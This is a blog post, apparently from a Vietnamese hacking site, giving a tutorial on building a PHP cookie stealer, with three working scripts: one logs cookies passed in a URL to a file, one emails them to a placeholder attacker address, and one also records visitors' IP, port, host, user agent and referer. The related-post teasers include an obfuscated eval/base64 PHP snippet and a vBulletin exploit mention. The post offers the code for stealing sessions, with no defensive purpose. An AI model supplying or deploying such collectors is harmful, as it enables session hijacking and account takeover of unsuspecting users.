J2TEAM Security: A must-have extension for Chrome users. Install now!

How to create cookie stealer Coding in PHP? (get via email)

How to create cookie stealer Coding in PHP? (get via email)
2 min read

Here is the simple Cookie Stealer code:


<?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>
$cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.

$steal = fopen("cookiefile.txt", "a"); This open the cookiefile in append mode so that we can append the stolen cookie.

fwrite($steal, $cookie ."\\n"); This will store the stolen cookie inside the file.

fclose($steal); close the opened file.



Another version: Sends cookies to the hacker mail 

<?php
$cookie = $HTTP_GET_VARS["cookie"]; mail("hackerid@mailprovider.com", "Stolen Cookies", $cookie);
?>
The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".

Third Version

<?php
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return($ip);
}
function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
    else
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
    fclose($log);
}
logData();
?>
The above Cookie stealer will store the following information:
  • Ip address
  • port number
  • host(usually computer-name)
  • user agent
  • cookie
Leader at J2TEAM. Website: https://j2team.dev/

Bạn có thể thích những bài đăng này

  • Bản quyền phần mềm Hướng dẫn tạo bản quyền đơn giản cho phần mềm, kết hợp giữa AutoIt và PHP. Các bạn có thể tải mã nguồn mẫu ở phía dưới video nhé. Video hướng dẫn …
  • Leo Obfuscator Xin chào, mình là Juno_okyo. Hôm nay mình sẽ giới thiệu với các bạn một công cụ miễn phí giúp mã hóa, tối ưu hóa và bảo vệ mã nguồn PHP. Đó chính là Leo Obf…
  • vBulletin Announcements, by default has html enabled, so if you get access to a forum using other exploits and get a user with acp info, but it only has default admin cp permissio…
  • Lương lập trình viên PHP lúc mới ra trường chỉ khoảng 3 đến 5 triệu đồng một tháng, nhưng đây là thời gian để bạn tập trung vào nâng cao kỹ năng lập trình, kỹ năng mềm, làm việc …
  • Here is the simple Cookie Stealer code: Cookie stored in File: <?php $cookie = $HTTP_GET_VARS["cookie"]; $steal = fopen("cookiefile.txt", "a"); fwrite($steal, $cookie ."…
  • http://pastebin.com/qegBLu97 <?php eval(gzinflate(base64_decode(strrev(str_rot13('==jSkm93x3+exhvVPiR/chhnrCbvIkgBmg088wmXyuwj9gIGXqsKPlEulq5Wiz1ANxIJWnlowW3Nv6LsIzSMTtIe3…

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!